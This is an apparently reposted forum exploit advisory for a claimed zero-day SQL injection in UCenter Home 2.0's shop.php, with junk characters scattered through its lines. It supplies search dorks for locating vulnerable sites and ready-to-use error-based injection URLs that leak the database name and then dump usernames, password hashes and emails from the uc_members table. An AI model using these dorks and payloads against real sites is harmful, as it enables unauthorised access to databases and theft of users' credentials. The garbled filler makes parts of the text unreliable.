- H* b# E! e, f2 ~__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ . ]2 F6 s# F2 J$ u/ p1 |
) ~+ e( l) j/ A4 D6 J
; E' s# B" E+ }8 x a/ q) \8 w# b4 t* ?% S
*/ Author : KnocKout U$ g |" R$ D* [) B6 {( f4 w. O+ e
6 G* p" a) n% [* T% C+ q; s& l6 j*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
% ~4 O3 O# i8 r: _0 g' z; a X& u, G, T2 D! e
*/ Contact: knockoutr@msn.com
: u6 w; s) v# a+ d- f5 u! |0 e
2 \5 E; I7 s8 ^*/ Cyber-Warrior.org/CWKnocKout 1 j9 {. u. Y$ a, f
) U! N! D1 p( _& _5 Y: k. k# ]
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 4 P. j1 `7 M! i% q% L$ H
( N# [; n( h$ W8 x0 J MScript : UCenter Home ' d5 ~ L# E4 M/ ?; _: j
6 Y' `' n5 E0 K& D# ?5 a* {Version : 2.0 : \* g t$ m# l9 S0 i
1 o8 ?0 Y; m7 b3 w+ s+ ]2 mScript HomePage : http://u.discuz.net/
+ A) z" [, l4 J/ r, B; J! w& \: O. n' M1 J/ v$ c5 `
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
# }/ z `; C5 @1 G+ A7 l% E2 N. W
4 j4 r+ `+ g( _: h# iDork : Powered by UCenter inurl:shop.php?ac=view
& o# K9 Z4 s: a2 B
. b) o: @5 g! x, |5 ]" C! gDork 2 : inurl:shop.php?ac=view&shopid= ( k1 x D" \. W$ G% L: b
. W# p7 j) ?+ i$ ]% G: e5 o__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== - E! H J& i7 t0 x
5 |6 s+ J; R5 ?" g: W% yVuln file : Shop.php
4 s2 l6 P8 k* L+ I; M1 r$ b$ { p0 c& X! F4 P) Q
value's : (?)ac=view&shopid= : w4 e, P" m Y4 e
% }( x) {0 }0 Q
Vulnerable Style : SQL Injection (MySQL Error Based)
' L( E* k! ^7 f( }% Q- ~" h( w7 M9 s" r4 g& ^% M. m
Need Metarials : Hex Conversion / Y5 i9 E6 z' v* w+ T
' O' k0 O, h& B8 X5 _
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
: a, n8 S: V5 I: Q2 M
+ t) v/ E, N' a* t( o% ?" jYour Need victim Database name. . d0 R4 H6 U2 E$ O- ^
1 D' s" H& H$ Y% t( e
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
3 I& R4 y0 G" b+ c, i
' o( t3 g% K3 ` Y, t..
' H3 l" D) L2 M; X5 v
2 j% Y- H) f N7 Z$ Z, B# tDB : Okey. 0 k# `$ d1 i% B6 @7 F5 _4 g& M) S
$ S$ `, a: g3 P0 f. j9 `4 a$ _your edit DB `[TARGET DB NAME]` , Y, g4 R9 U! `9 A9 Q: H" p& U. R& R4 _
5 P+ Z2 e3 X6 ^+ O& N$ {
Example : 'hiwir1_ucenter'
9 A1 t5 R" l0 v$ o4 L
1 e/ B; U1 r+ ?- ~Edit : Okey. 7 n" j# ?0 {, m8 ~
# w {/ ^5 L/ M" w# K
Your use Hex conversion. And edit Your SQL Injection Exploit.. 1 n7 G4 R, n- I. T, ^7 e3 o" S
2 @5 E7 X/ b3 ~ P9 @& T ( ~8 \" z; C2 w4 P* y, c8 M
- v) X! ]) u o! @9 g3 r. g9 r
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 4 I# _& q9 b' w' c. s: x
|
发表于 2013-2-27 21:31:31
收藏
支持
反对